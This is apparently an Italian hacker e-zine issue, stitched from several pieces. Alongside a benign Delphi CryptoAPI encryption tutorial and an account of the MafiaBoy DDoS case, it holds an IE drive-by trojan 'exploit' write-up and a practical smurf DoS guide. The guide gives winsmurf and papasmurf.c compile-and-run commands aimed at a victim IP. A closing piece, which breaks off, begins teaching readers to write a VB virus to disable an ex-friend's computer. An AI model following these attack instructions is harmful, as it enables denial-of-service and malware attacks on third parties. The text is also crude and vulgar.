fosse andato storto in questo modo abbiamo sempre la possibilità di avviare Linux per correggere gli errori usando il vecchio kernel che richiameremo scrivendo old al prompt di LILO durante il boot. Spero di essere stato chiaro byez a tutti By Dominus insulti o commenti dominusz@yahoo.it ------------------------------------------------------------------ ------------------------------------------------- -------------------< ExPlOit >------------------------------ This a simple exsemple di kome la mikrorotlft elabori dei programmi KRIMINALI vendendoli a dei kosti ke sono ankora più kriminali visto ke mettono a riskio il tuo computer...Immaginiamo ke abbiamo trovato il link magari spammato da un lamer in irc ke ci dice magari: Rga ho trovato un sito troppo bello dove possiamo skaricare tutti le girl hentay ke vogliamo gratis!! Dai passalo... dai diccelo! Umm nooo me lo tengo per me... Allora ke parli a fare... Ok se insistete ve lo passo 1 attimo ke lo kopio e lo incollo... akkkatotopo:slash2 www.seifottuto.cjb.net... Divertitevi!!! Allora noi ignari clikkiamo sul link si apre IE... (IntenetExplorer) quello con la icona blu segnata da 1 riga come saturno??? capito o devo usare il linguaggio dei gesti??? RoTfl RIrotfl scotOritStrorotfl..... Sentite... parliamoci kiaro ki di voi nn ha mai aperto solo una volta IE? ma rotfl nn parlo di voi linuxiani!!! Komunque... basta andiamo avanti se no ci blocchiamo.ma va!?!? skarikiamo 1a bella immagine con spoffato qualche eseguibile kattivo dietro e quindi siamo infettati... ma per adesso siamo ancora nella zona kritica, ma nn del tutto infatti il lamerdelbip ipotizzando di aver a ke fare kon delle persone intelligenti dice kazzo se il mio programma (mettiamo il caso sia un trojan... ) viene segnalato dal Firewall ammesso ke cel'abbiate (IoSkrivo kome kazzo mi pare ok?) quando apre l'immagine l'ignara preda se ne accorge ke dietro quel Jpeg c'è qualcosa ke nn quadra e blokka il procedimento di connession del server semplicemente dicendo no access internet cliccando semplicemente sul Firewall... Quindi furbescamente pensa qui ci vuole qualcosa ke nasconda sta bip di konnessione! Allora immagina 1 piccolo link malefico e allettante ke dice " Skarica Majinbu con SailorMoon ke gicano a kavallino pazzo VM21... 3,5 ore di posizioni diverse! Gratis!..." allora l'utente tranquillamente kosa fa clikka sul link... ma il lamerazzo ke già prevedeva l'azione ha elaborato uno script in html molto karino ke loadda il server del trojan proprio al clik del link... ecco ke il visitatore già allupato si autoincula una bella Backdoor o si esegue da solo un bel virus senza nemmeno accorgesene... dipende dal lamah... Kredete ke ci voglia molto? NoNo giudicate voi... ---------------- showModalDialog("base.html",dlg_par); -----------------< Fine pagina di scrittura patch dell'eseguibile -------------< inizio codice di autoupload spoffato nell'iframe...

Sto caricando il filmato...

------------------------------------------------------------------ ----------------------------< Fine codice >---------------------- Raga kon l'autouploaddazione di qualcosa potete fare molti kasini anke se solo la elaborate un pò nn so fate aprire un kasino di programmi e altre kose simili ... rikordate ke questo exploit sfrutta la libreria SHDOCLC.DLL di IE6 o 5... uhhhaaa ho sonno domani mi sveglierò tardi le skuole sono kiuse ma il 7 sarò x l'ennemiliostrasupervolta kon lo zaino sulle spalle a rincominciare nel duro e straziato kammino in quella strada ke mi porterà verso il luogo del non ritorno senza un bel rapporto ke nn so a voi ma a me x una cosa o per un altra è ormai di routine, peggio del cazzo del norton ke si avvia in automatico proprio nei momenti meno opportuni.. Lord Unrelated Lodeguns -e-zine------------n.00--- ________ __________ /_______/| /_________/| | | | | | | | ____|/ |___ __|/ | | |__ | | | | |/___/| | | | | | | | | | |______|/ |__|/ CYBERDUDE TUTORIAL ---------informazionelibera- ---------< LE CRYPTOAPI DI DELPHI >-------------------- ~ Cyberdude Tutorial ~ _______________________________________________________ Salve a tutti ragazzi... innanzitutto un saluto generale a tutti i lettori di questa E-zine!Dunque,come vi avevo promesso nello scorso tutorial ho deciso di parlare di qualcosa di più "underground" e meno pazziarella ;) In realtà ho deciso di scrivere questo tutorial perchè mio zio Emilio, che saluto calorosamente, qualche tempo fa mi chiese qualche informazione sulla cryptografia... ma la storia è troppo lunga per spiegarla, in pratica io non ho avuto molto tempo per dedicarmi all'argomento ma visto che adesso ho un pò di tempo libero ho deciso di mettermi a lavoro. Iniziamo subito... vi presento la criptografia così : Oggi con la diffusione dei sistemi informatici, sia a livello aziendale che ai singoli utenti, il problema della segretezza dei propri dati è diventato quanto mai attuale; se poi si aggiunge lo sviluppo, quanto mai incontrollato, delle reti di comunicazione tramite computer, un esempio per tutte Internet, si può vedere come la crittologia, la scienza che si occupa di queste problematiche, stia diventando parte integrante della maggior parte dei progetti software in sviluppo. Questa può essere considerarata come costituita da due settori complementari: la crittografia, intesa come la progettazione di sistemi per la comunicazione segreta, e l'analisi cifrata, lo studio dei sistemi per compromettere, e quindi rendere visibile il documento precedentemente cifrato; le due branche vanno quindi di pari passo ed al miglioramento dell'una consegue uno sviluppo dell'altra, una eterna lotta tra il bene ed il male... Come abbiamo detto la crittografia fornisce un set di tecniche per la codifica, e successiva decodifica di messaggi, che quindi possono essere trasmessi segretamente. Cercherò adesso di spiegare alcuni termini e metodiche comunemente usate.Userò, in conformità alla documentazione Microsoft, il termine messaggio per file o dato di qualunque tipo che vorremo cifrare, e plaintext e ciphertext rispettivamente per riferirmi allo stesso nello stato non criptato e criptato.Quando un messaggio viene codificato può essere immagazzinato su disco, considerato un mezzo fondamentalmente non sicuro, o peggio ancora distribuito in rete, e tuttavia rimanere segreto fino alla sua decifratura. Il messaggio viene cifrato con una chiave, trasmesso e quindi decifrato con un’altra chiave che spesso coincide con la prima; il processo è simile a quello di chiudere una porta; con la chiave la chiudi, con la chiave la apri.Come si può vedere il processo è semplice, la parte difficile è mantenere segrete le chiavi.Esistono due metodi fondamentali di cifratura detti rispettivamente: simmetrici, e a chiave pubblica o asimmetrici. Il metodo simmetrico si può anche definire convenzionale visto che è sicuramente il più usato - METODI SIMMETRICI Questo è l’approccio tradizionale al problema: già Giulio Cesare aveva l’abitudine di comunicare gli ordini ai suoi subalterni, durante le campagne di guerra, in maniera cifrata. Il suo sistema era abbastanza semplice e consisteva nel sostituire una lettera del testo posta K posti avanti nell’alfabeto, e cioè : testo in chiaro: CIAO testo cifrato: FNDR questo per K = 3. Il metodo è decisamente debole, visto che un analista non deve far altro che indovinare il valore di K tentando tutte le possibili lettere dell’alfabeto.Si può rendere più complicata la decifratura usando una tabella o più di una: nel Cifrario di Vigenere, per esempio, il valore di K è determinato per mezzo di una piccola chiave ripetuta, ad ogni passo si aggiunge l’indice della lettera corrente della chiave all’indice della lettera corrente del testo determinando l’indice della lettera del testo cifrato. Se: chiave: ABC testo in chiaro: CIAO A TUTTI testo cifrato: DHDP C ZVVZL Volendo possiamo impiegare tabelle differenti per ciascuna lettera, invece che semplici scostamenti, ed inoltre più la chiave è lunga maggiore è la sicurezza, fino al limite della chiave lunga quanto il messaggio, caso detto Cifrario di Vernam o one-time pad e considerato l’unico sistema dimostrabilmente sicuro. Nella codifica in binario il sistema più semplice è quello di porre in relazione di or-esclusivo bit a bit il testo con una data chiave; la cosa interessante del metodo, e la sua debolezza, è che il decifrare coincide con il cifrare: il testo in cifrato è l’or-esclusivo del testo in chiaro e della chiave, viceversa facendo l’or-esclusivo tra testo cifrato e chiave si ottiene il testo in chiaro. Una conseguenza diretta di tal metodo è che si può risalire alla chiave avendo il testo in chiaro.Non essendo applicabile il sistema one-time pad, in generale, nelle applicazioni reali, si rende necessaria una sua approssimazione, con la messa a punto di un sistema in grado di generare numerose pseudo-chiavi dalla chiave originaria da porre in relazione di or-esclusivo bit a bit con il messaggio; il sistema così definito potrebbe essere ulteriormente complicato facendo una sostituzione non lineare (bit a bit), ma a blocchi.Nel listato seguente un esempio di metodo simmetrico che utilizza una stringa di sei caratteri al massimo, dalla quale sono derivati due valori che serviranno per la codifica. ________________________________________________________ unit Crypt; interface const Lock: array [1..7] of char =('C', 'I', 'F', 'R', 'A', 'T', 'O'); MaxBuf = 30000; TmpFile = 'temp.xxx'; function Decifra(FileIn: string; FileOut: string; PassWord: string): Boolea0. n; procedure Cifra(FileIn: string; FileOut: string; PassWord: string); implementation procedure Cifra(FileIn: string; FileOut: string; PassWord: string); var I: Integer; j: Integer; x: Integer; Base1: Byte; Base2: Byte; Buffer: array [1..MaxBuf] of Byte; Sorgente: File; Destinazione: File; ByteLetti: Extended; begin j := Length(Password); Base1 := 0; Base2 := 0; for I := 1 to j do begin Base1 := Base1 + (Ord(Password[i]) * i); Base2 := Base2 + (Ord(Password[i]) * j); j := j - 1; end; AssignFile(Sorgente, FileIn); ByteLetti := 0; Reset(Sorgente, 1); AssignFile(Destinazione, TmpFile); Rewrite(Destinazione, 1); BlockWrite(Destinazione, Lock, 7); BlockWrite(Destinazione, Base1, 1); BlockWrite(Destinazione, Base2, 1); BlockRead(Sorgente, Buffer, MaxBuf, x); ByteLetti := ByteLetti + x; while x > 0 do begin for I := 1 to x do begin Base1 := Base1 - i; Base2 := Base2 + i; if odd(i) then Buffer[i] := Buffer[i] - Base1 else Buffer[i] := Buffer[i] + Base2; end; BlockWrite(Destinazione, Buffer, x); BlockRead(Sorgente, Buffer, MaxBuf, x); ByteLetti := ByteLetti + x; end; CloseFile(Sorgente); CloseFile(Destinazione); Rename(Destinazione, FileOut); end; end; function Decifra(FileIn:string;FileOut:string;PassWord: string):boolean; var I: Integer; j: Integer; x: Integer; Base1: Byte; xBase1: Byte; Base2: Byte; xBase2: Byte; Buffer: Array [1..MaxBuf] of byte; Buffer2: array [1..MaxBuf] of byte; Sorgente: File; Destinazione: File; ByteLetti: Extended; begin j := Length(Password); Base1 := 0; Base2 := 0; for I := 1 to j do begin Base1:= Base1 + (ord(Password[i]) * i); Base2:= Base2 + (ord(Password[i]) * j); j := j - 1; end; AssignFile(Sorgente, FileIn); Reset(Sorgente, 1); BlockRead(Sorgente, Buffer, 7); BlockRead(Sorgente, xBase1, 1); BlockRead(Sorgente, xBase2, 1); if not ((Base1 <> xBase1) or (Base2 <> xBase2)) then begin ByteLetti := 0; AssignFile(Destinazione, TmpFile); Rewrite(Destinazione, 1); BlockRead(Sorgente, Buffer, MaxBuf, x); ByteLetti := ByteLetti + x; while x > 0 do begin for I := 1 to x do begin Base1 := Base1 - i; Base2 := Base2 + i; if odd(i) then Buffer[i] := Buffer[i] + Base1 else Buffer[i] := Buffer[i] - Base2; end; BlockWrite(Destinazione, Buffer, x); BlockRead(Sorgente, Buffer, MaxBuf, x); ByteLetti := ByteLetti + x; end; CloseFile(Sorgente); CloseFile(Destinazione); Rename(Destinazione, FileOut); Result := True; end else begin CloseFile(Sorgente); Result := False; end; end; end. ________________________________________________________ - METODI ASIMMETRICI Nelle applicazioni commerciali, come trasferimenti di fondi, sistemi di commercio on line o altro, il problema della distribuzione delle chiavi potrebbe essere oneroso in termini di tempo e soldi, oltreché particolarmente insicuro: il messaggio contenente la chiave potrebbe essere intercettato prima di arrivare al destinatario e la stessa chiave, comunque non potrà essere mantenuta a lungo, così nuove chiavi e nuovi problemi.Sono stati sviluppati per questo i metodi a chiave pubblica, la cui idea base è quella che un utente dovrebbe possedere due chiavi: una di pubblico dominio ed una strettamente privata. Per trasmettere un messaggio M, il mittente preleva la chiave del destinatario e con questa mette in cifra M; il messaggio così cifrato viene rappresentato con C = P(M), dove C è il testo cifrato e P la chiave pubblica. Il destinatario decifrererà M con S, cioè con la sua chiave segreta (privata). Lo schema base per il funzionamento di questo metodo è 1. S(P(M)) = M per qualsiasi M 2. tutte le coppie (S,P) sono distinte 3. derivare S da P deve essere altrettanto difficile che decifrare M 4. semplicità di calcolo di S e P. La prima regola è fondamentale, le seconde due dovrebbero garantire la sicurezza, la terza rende fattibile il metodo. I metodi asimmetrici sono, in genere, molto meno performanti in termini di tempo, rispetto ai simmetrici; per questo motivo sono usati di solito per codificare chiavi di sessione o per firmare digitalmente i messaggi Firmare digitalmente un messaggio può essere utile sia che si spedisca un messaggio in chiaro sia cifrato; la firma è generata tramite un metodo a chiave pubblica: S è usata per firmare il messaggio e P per controllare la validità della firma. - LE CRYPTOAPI Le Microsoft Cryptographic API, CryptoApi per amor di brevità, forniscono dei servizi che permettono agli sviluppatori di utilizzare la crittografia nelle loro applicazioni, senza conoscere alcunché della sottostante implementazione; costituiscono inoltre uno standard aperto che permette l’esistenza di diversi subsistemi di cifratura che l’utente può utilizzare in modo trasparente. Con l’architettura a Cryptographic Service Provider (CSP), viene fornito un modo sicuro di accesso ai servizi crittografici da parte delle applicazioni. Tre sono le caratteristiche che ne garantiscono sicurezza e portabilità: 1.Le applicazioni non possono direttamente accedere alle chiavi, che sono generate internamente al CSP, ma possono usarle solo tramite handle. 2.Le applicazioni non possono specificare i dettagli delle azioni crittografiche: il CSP permette solamente di spedire dei comandi e cioè “cifra i dati con il tal metodo”. 3.Le applicazioni come per le chiavi, non possono gestire direttamente le firme digitali. Vediamo adesso come un CSP è strutturato. Le caratteristiche di un Provider sono quelle di possedere un nome che, per esempio, in quello fornito di default è “Microsoft Base Cryptographic Provider v1.0”, ed un tipo, che in quello appena citato è PROV_RSA_FULL. Il nome dovrebbe essere unico, per evitare conflitti, mentre il tipo può non esserlo.Il campo dei metodi crittografici è molto grande, quindi è stata sentita la necessità di raggrupparli in famiglie, ognuna con un proprio insieme di formati di dati, e di modi per manipolarli. Quando una applicazione si connette ad un CSP, le funzioni chiamate si comporteranno in base al tipo prescelto che detterà le regole delle azioni. Ogni tipo avrà specificate le seguenti caratteristiche: 1. Il metodo di scambio delle chiavi sarà unico, in caso il CSP lo preveda. 2. Il metodo di firma digitale sarà unico, sempre se fornito. 3. Il formato binario della chiave esportata, Key Blob, sarà unico e specificato dal CSP. 4. Il formato della firma digitale sarà unico e relativo al tipo: in questo modo si assicura che una firma generata da un Provider sarà riconosciuta da un altro attivato con lo stesso tipo. 5. La generazione di chiavi di sessione seguirà un metodo unico e definito dal tipo. 6. La lunghezza della chiave o delle coppie di chiavi è specificata dal tipo del Provider. 7. Il tipo specifica spesso un modo di default per varie opzioni. Ogni applicazione collaborerà generalmente con un solo Provider, anche se è possibile farlo con tutti quelli installati nel sistema, ed è importante riuscire ad ottenere tutta la possibile documentazione sul CSP che si intende usare, per poterlo usare al meglio. Un certo numero di tipi sono già stati definiti Provider Scambio chiavi Firma Cifratura Hashing PROV_RSA_FULL RSA RSA RC2, RC4 MD5, SHA PROV_RSA_SIG n/a RSA n/a MD5, SHA PROV_DSS n/a DSS n/a SHA PROV_FORTEZZA KEA DSS Skipjack SHA PROV_SSL RSA RSA vari vari PROV_MS_EXCHANGE RSA RSA CAST MD5 Se due applicazioni intendono cooperare dovranno necessariamente utilizzare lo stesso tipo, anche se potrebbe esserci una parziale compatibilità tra tipi diversi. Chiunque potrebbe scrivere un suo proprio CSP e definire un nuovo tipo, ed è chiaro che in questo caso avrà la responsabilità di distribuire il nuovo Provider agli autori le cui applicazioni lo useranno. Segue la descrizione degli algoritmi menzionati nei vari tipi: Metodo Descrizione ________ ____________ CAST Sviluppato da C.M. Adams e S.E. Tavares, simile al DES, cifratura a blocchi di 64 bit. DES Standard stabilito dal National Institute of Standard and Tecnology, cifratura a blocchi di 64 bit e chiave di lunghezza fissa di 56 bit. DH Diffie-Hellman, algoritmo a chiave pubblica usato per lo scambio di chiavi. DSS Algoritmo per la generazione di firme digitali: Digital Signature Standard. KEA Versione modificata del DH MD2 Algoritmo di Hash che produce un valore a 128 bit. MD4 Algoritmo di Hash che produce un valore di 128 bit. MD5 Versione modificata di MD4. RC2 Cifratore a blocchi di 64 bit. RC4 Cifratore bit a bit (stream). RSA Inventato da R. Rivest, A. Shamir e L. Adleman, è usato sia per codificare dati che per la generazione di firme SHA Algoritmo di Hash che produce un valore di 160 bit. Sckipjack Questo metodo è usato dai chip Clipper e Capstone, cifratore a blocchi con chiave fissa da 80 bit. - CONNETTIAMOCI AL PROVIDER Con il SO, Microsoft ci fornisce il suo RSA Base Provider, che chiamerò Provider di default, che implementa RSA con una lunghezza di chiave di 512 bit, RC2 e RC4 con lunghezza di chiave di 40 bit e MD2, MD5 e SHA.Cominciamo a collegarci al Provider...La nostra applicazione dovrà chiamare la funzione CryptAquireContext, specificando il tipo e eventualmente il nome (non fornendo il nome sarà invocato quello di default, cioè quello Microsoft), che in questo modo cercherà la presenza nel registro di configurazione del CSP specificato controllando l’implementazione del tipo e, in caso affermativo, restituirà un handle al Provider altrimenti l’errore conseguente. Il prototipo della funzione: function CryptAcquireContext(phProv: PHCRYPTPROV; pszContainer: PAnsiChar; pszProvider: PAnsiChar; dwProvType: LongInt; dwFlags: LongInt) :BOOL; stdcall; e la chiamata tipo: if not CryptAcquireContext(@hProv, nil, nil, PROV_RSA_FULL, 0) then Nel parametro hProv verrà, in caso di successo, immagazzinato l’handle che verrà poi utilizzato per comunicare con il Provider; nel secondo parametro viene passato un Pchar che contiene il nome del contenitore della chiave, altrimenti fornendo nil, si farà in modo che nel Provider di default, il nome sia quello usato dall’utente al momento del logon nel sistema; importante è notare che in caso di altri CSP, potrebbe non esserci un nome predefinito. In pszProvider forniremo il nome del Provider,(come sopra, se nil, sarà invocato quello di default) poi il tipo in dwProvType. L’ultimo parametro è sempre settato a 0 per quello che riguarda le normali operazioni, altrimenti specificando CRYPT_NEWKEYSET si farà in modo che sia creato un contenitore per la chiave con per nome pszContainer o, ancora, se nil, il nome predefinito; l’altra opzione, CRYPT_VERIFYCONTEXT, ci consente solamente di verificare le firme digitali.L’handle così ottenuto dovrà essere rilasciato alla fine delle nostre operazioni con la CryptReleaseContext, funzione prende due parametri: il primo dovrà essere il nostro handle mentre il secondo dovrà essere zero, visto che per ora è riservato.Adesso che abbiamo il nostro handle possiamo cominciare a preoccuparci delle chiavi. Esistono due tipi di chiavi: di sessione e le coppie pubbliche/private; come già detto, le prime vengono usate generalmente per utilizzare algoritmi simmetrici in cui la stessa chiave è usata sia per cifrare che per decifrare, mentre le coppie pubbliche/private sono usate nei metodi asimmetrici.La chiave di sessione è creata a partire da una stringa data dal CSP e non è immagazzinata in nessun modo, a meno che noi non desideriamo esportarla esplicitamente. Viene creata chiamando la CryptGenKey, se vogliamo generarla exnovo, o la CryptDeriveKey, se deriverà da una parola da noi fornita che può non essere necessariamente una stringa. function CryptGenKey(hProv: HCRYPTPROV; Algid: ALG_ID; dwFlags: LongInt; phKey: PHCRYPTKEY):BOOL; stdcall; function CryptDeriveKey(hProv: HCRYPTPROV; Algid: ALG_ID; hBaseData: HCRYPTHASH; dwFlags: LongInt; phKey: PHCRYPTKEY) :BOOL; stdcall; In caso si desideri utilizzare un metodo simmetrico, nel parametro Algid è specificato l’algoritmo da usare per ottenere la chiave di sessione, che nel caso del Provider di default può essere CALG_RC2 o CALG_RC4. Se invece il metodo usato è asimmetrico, i valori saranno AT_KEYEXCHANGE per utilizzare la chiave per la esportazione o AT_SIGNATURE per la firma digitale. La differenza tra le due funzioni è nel parametro hBaseData, che specifica l’handle ad un valore hash generato dalla parola fornita tramite le funzioni CryptCreateHash e CryptHashData. if not CryptCreateHash(hProv, CALG_MD5, 0, 0, @hHash) then ... if not CryptHashData(hHash, PBYTE(Password), StrLen (Password), 0) then ... if not CryptDeriveKey(hProv, AT_SIGNATURE, hHash, CRYPT_EXPORTABLE, @hKey) then ... //distrugge l’oggetto hash CryptDestroyHash(hHash); La chiave qui ottenuta hKey (che in realtà è un handle) viene usata per firmare un messaggio ed è possibile esportarla visto che il parametro dwFlags è CRYPT_EXPORTABLE. Altri valori possono essere forniti in dwFlags anche se il più comune è 0. Per l’elenco completo fare riferimento alla documentazione ufficiale. Una volta generata la chiave, possiamo considerare di cifrare un qualcosa. Le funzioni che ci servono sono: function CryptEncrypt(hKey: HCRYPTKEY; hHash: HCRYPTHASH; Final: Bool; dwFlags: LongInt; pbData: PBYTE; pdwDataLen: PLongInt; dwBufLen: LongInt): BOOL; stdcall; function CryptDecrypt(hKey: HCRYPTKEY; hHash: HCRYPTHASH; Final: Bool; dwFlags: LongInt; pbData: PBYTE; pdwDataLen: PLongInt):BOOL; stdcall; e di seguito un loro possibile utilizzo: repeat // legge dwBlockLen byte dal file sorgente BlockRead(hSource, pbBuffer^, dwBlockLen, dwCount); Endof := Eof(hSource); // cifra i dati if not CryptEncrypt(hKey,0,Endof,0,pbBuffer,@dwCount, dwBufferLen) then begin ... end; BlockWrite(hDestination, pbBuffer^, dwCount); until Eof(hSource); Il codice corrispondente per decifrare è fondamentalmente identico.Nell’esempio che accompagna l’articolo potrete vedere all’opera un semplice componente, installabile nella palette di Delphi, che permette di svolgere le operazioni base per la cifratura e successiva decifratura di un file data una password. Se la parola d’ordine non fosse specificata, automaticamente ne verrà creata una casuale che sarà immagazzinata nello stesso file, per permettere una sua successiva decifrazione.Le proprietà definite sono soltanto cinque: Source: nome del file plaintext. Destination: nome del file ciphertext. Password: parola d’ordine. Mode: permette di usare un metodo stream (RC4) o a blocchi (RC2). InitUser: permette di inizializzare il CSP. Da notare la proprietà InitUser che definisce, se impostata a true, il client predefinito per il CSP, impostando il container per le chiavi e creandovi dentro le chiavi per la firma digitale e per lo scambio. Questa operazione viene di solito fatta una sola volta prima di utilizzare il Provider e non serve ulteriormente, almeno fino alla reistallazione del SO. I metodi da chiamare sono Encrypt e Decrypt rispettivamente, e non prendono nessun parametro. Nessun controllo è fatto sul formato del file cifrato, quindi porre attenzione ad utilizzare lo stesso algoritmo per decifrare il file, altrimenti i risultati non saranno quelli sperati!Oltre al componente troverete anche la traduzione completa del wincrypt.h (wincrypt.pas), ed un piccolo esempio di utilizzo del componente. Questi sono soltanto i passi fondamentali per cifrare un file con le CryptoApi ed i servizi offerti non sono tutti qui, ma coprono l’intero argomento, con particolare enfasi sulla gestione delle firme digitali e sulla loro validazione. VAbbè ragazzi che dire a questo punto vi ho presentato questo tutorial... saluto tutti e vi do appuntamento al prossimo tutorial ciao a tutti (Y83RDVD3 >>> cifratemelo... se capite :) ________________________________________________________ ------------------------------------------------------------------ ---< Whois MafiaBoy? >------------------------------------------- Ciao raga come va la vita? a me bene grazie. Ho saputo che vorreste diventare dei veri esperti di hacking, ma sapete che vi è anche una parte oscura ke si naconde dietro l'hacking puro?ebbene si, perchè esistono anke i così detti lamer, che una volta appreso i concetti e le tekniche altrui, svolgono il loro infame operato in danni o veri e propri disastri. Il DesrtuctionMaker che ha svolto l'attacco che non si era mai verificato prima,è mafiaboy.L'attacco era di tipo ddos e cioè distributed denial of service (Look down if you don't know this attack) con a disposizione decine di zombie ke sarebbero sistemi inconsapevoli d partecipare all'attacco.Tutto cominciò nel Febbr. 2000 e la prima vittima fu Yahoo! a seguire eBay.com,Amazon,CNN. I colossi statunitensi della neweconomy, pensarono subito al peggio, cioè che si trattase di una catrastrofe digitale e quindi della fine della internet economy. In seguito all'attacco dei sistemi di e-trade, datek e la DellComputerCorporation, si comincia a fare meglio il punto della situazione, e da una prima analisi si riesce a capire ke sono stati utilizzati determinati zombie,intanto sui canali IRC 1 certo mafiaboy rivela di essere l'artefice degli svariati danni. Le indagini si mossero a gran velocità coinvolgendo addirittura la casa bianca. In seguito il NIPC(National Infrastructure Protection Center) scopre che l'aggressione è partita da un account di totalnet e perquisendo questa sede si trovano 3 account di posta elettronica risalenti a mafiaboy. L'insieme dei dati permette di risalire al numero di telefono e quindi all'abitazione di questo pirata informatico di appena 16 anni.In tribunale su 64 capi d'accusa ne viene accusato di 54 e viene condannato ad 8 mesi di reclusione, 1 anno di libertà vigilata e forti restrizioni nell'utilizzo di internet. Alla fine anche questo piccolo-grande ragazzo non è sfuggito alla legge, beh io credo che non sia sbagliato avere una determinata conoscenza ma vi consiglio di stare attenti e soprattutto di avere la testa sulle spalle. Vediamo di studiare un pokino più a fondo la tecnica d mafiaboy e quindi cosa sia in semplici parole il ddos, ma prima specifikiamo cos'è il suo fratello minore cioè il dos. Ultimamente per mandare in crash molti server è stato usato il dos ma va!? Diciamo che il DestructionMaker invia pacchetti anomali alla vittima e il sistema analizzandoli nn riesce a definirli tutti e va a puttane (Beato lui). Diciamo che possiamo mandare in crash un sistema x ottenere un accesso o x causare danni agli altri utenti che risulteranno avere una connessione lenta o non averla del tutto. Ed ora arriviamo a MafiaBoy... questo tipino canadese ha usato l'attacco ddos che è simile a quello precedente ma usa più computer detti zombie per attivare un elevatissimo numero di false rikieste. By Nexus85 +++++++++++++++++++++++++++++++++++++++++++++++++++++++ Autore: Dominus data:: 14/04/2003 Oggetto: Ddos,dos e smurf ++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Disclaimer: questa guida è stata scritta a puro scopo informativo,è stata scritta precisamente per siti che si occupano di sicurezza informatica,quindi non mi ritengo responsabile nel caso ne venisse fatto un uso improprio. Ricordo che recare danni a computer altrui è un reato punibile con la galera. Eccoci qui in un altra intusiasmante guida :p,vi spiegherò in seguto cosa è il Ddos,dos e lo smurf,come si fanno e cosa hanno in comune. La parola Dos è sinonimo di denial of service cioè negare un servizio,Ddos vuol dire sempre negare un servizio ma a differenza del dos che viene fatto da un singolo utente o server il Ddos è fatto da più utenti o viene attaccato da più server,lo smurf ha la stessa tecnica del Ddos. Lo smurf come gli altri due attacchi provoca un intasamento del nodo dell'attaccante,mi spiego meglio,mettiamo il caso voi dal terminale fate: Ping www.sito.com se il sito esiste vi risponde con un altro ping,in questo caso il ping che riceviamo non ci causa nessun problema,ma immaginiamo se ricevessimo 1000 ping tutti insieme cosa succederebbe?? La nostra macchina crasherebbe o si disconnetterebbe,sempre se va bene,avvolte c'è il rischio che si bruci anche il modem,è questo il tipo di attacco che viene definito smurf o Ddos,(in avanti non starò a scrivere smurf,Ddos e dos,scriverò solo smurf che vale per gli altri due tanto la tecnica è simile.). Ma voi vi chiederete " ma io mica sono cretino che pingo tanti server" bè ci sono programmi tipo winsmurf che si trova sia per win che per linux,che non fa altro che pingare dei server con un altro ip,è come se un lamer pinga un server facendogli credere che siamo noi,a questo punto il server non risponderebbe a lui ma a noi. Ci sono dei server che hanno delle sotto reti,se noi inviamo un ping a un server che ha 20 sottoreti lui non ci risponde con un ping ma ci risponde con 21 ping,nei programmi usati dalla gente che fa questo tipo di attacchi c'è una lista dove inserire i server,mettiamo il caso nella lista hanno 30 server e ciascun server ha 30 sottoreti,se inviano un ping a loro ricevono ben 900 ping !!! Non tutti i server sono buoni da usare,bisogna usare dei server broadcast,in rete ci sono programmi che fanno una scansione e ve li trovano,sono anche inclusi nello zip del winsmurf. Questa tecnica è molto efficace,niente ferma lo smurf,neanche i firewall ed inoltre è molto difficile risalire all'ip dell'attaccante,perchè i server attaccati ricevono tutti gli ip meno quello dell'attaccante,l'unico server che avrebbe l'ip dell'attccante sarebbe il broadcast ma noi che avremmo fatto di male?? avremmo solo inviato un ping non è mica colpa nostra se loro hanno risposto con 900 ping :)))) ----------------------------------pratica----------------- ------------- Ora andiamo a fare un pò di pratica,...... cominciamo con win,aprite winsmurf,in alto va inserito l'ip della macchina da attaccare grazie a quello il programma spoofa il nostro ip e fa credere al broadcast che il ping gle l'habbia fatto il server da attaccare e non noi,poi c'è una piccola lista,li vanno inseriti i broadcast,poi non ci rimane che clikkare ok ed ecco che il programma invia i ping... Tutto qui!!! Dipende dal tipo di broadcast che avete trovato il server verrà invaso da decine,centinaia,o milioni di ping,certi siti sono rimasti inaccessibili per alcune settimana con questi attacchi,senza parlare dei danni che hanno avuto!! compresi router bruciati!! Tanti lamah usano questa tecnica per disconnettere utenti su irc,avvolte si disconnettono ma dipende dalla quantità dei ping avvolte il modem dell'utente attaccato fa le scintille! hihihii dai raga fate i bravi!!! andiamo a vedere come funziona per gli utenti di linux..-- ,,, root@DoMiNuS:~# gcc papasmurf.c -o smurf root@DoMiNuS:~# cp smurf /bin in questo caso habbiamo compilato il programma per win,ora per eseguirlo: root@DoMiNuS:~# smurf (papa)smurf.c v5.0 by TFreak usage: smurf [options] Options -p: Comma separated list of dest ports (default 7) -r: Use random dest ports -R: Use random src/dest ports -s: Source port (0 for random (default)) -P: Protocols to use. Either icmp, udp or both -S: Packet size in bytes (default 64) -f: Filename containg packet data (not needed) -n: Num of packets to send (0 is continuous (default)) -d: Delay inbetween packets (in ms) (default 10000) questi sono i comandi disponibili,per smurfare la vittima facciamo: smurf ip_vittima /root/file_broadcast.txt - [ varie opzioni ] semplice no??? vi faccio un esempio root@DoMiNuS:~# smurf 151.120.15.200 /hack/broadcast.txt - P both Capito?!?!?! Bene ho concluso con questa guida!!!!!!! Spero di aver fatto capire a qualche admin quanto pericolo c'è in rete e non aiutato a far crescere un altro lamer,,,,, Un grande salutone a Lordspirit,shaka,aspinall(hihihihi),kpe e tutti gli amici che ho su irc ( sono centinaia) !!!!!!!!!!!!! ciao ciao e Bye a tutti a... approposito visitate il mio bel sitarozzo www.hack- secure.org,buona trombata ragazzi smack. Un messaggio inedito " zucchy perchè non ritorni?? :°° " uahauah ciao!! ------------------------------------------------------------------ -< ED IL COMPUTER NON SI ACCENDEVA PIù >-------------------------- -< eSCLUsivamente per lamah o newbie aspiranti lamah >------------ Bene today sono molto cattivo e ho dentro di me quell'antico spirito lamah che diciamo ogni mesetto si fa sentire se sto incavolato per qualcosa che mi è successo... se per caso qualche ex amico ti sta rompendo il cazzo perchè non parte il computer e quindi cerca ti sfrutta anche se gli hai detto chiaro e tondo in faccia che è un bastardo figlio di puttana... beh l'unica soluzione è dargli una lezione coi fiocchi che non se la dimentichi molto facilmente... Come al solito usiamo il visualBasic... Per capire ciò che sto dicendo studiatevi il mio articolo "Tecniche fondamentali per costruire un trojan in vb" letto??? Se non sapete dove andare a prenderlo, lo trovate negli allegati! bene ora mettiamo il caso vogliamo che certamente il computer non si accenda più... cosa facciamo?? dai se lo avete letto tutto non è tanto difficile arrivarci no??? rotfl... senza pastarvi nessun codice inutile visto che già ne ho parlato ampliamente prima vi dico solo questo... il problema numero uno dell'articolo era come fare in modo che un programma (che in questo caso non sarà più un trojan ma un viruz inidentificabile...) si autopasti nella cartella che desideriamo... ora 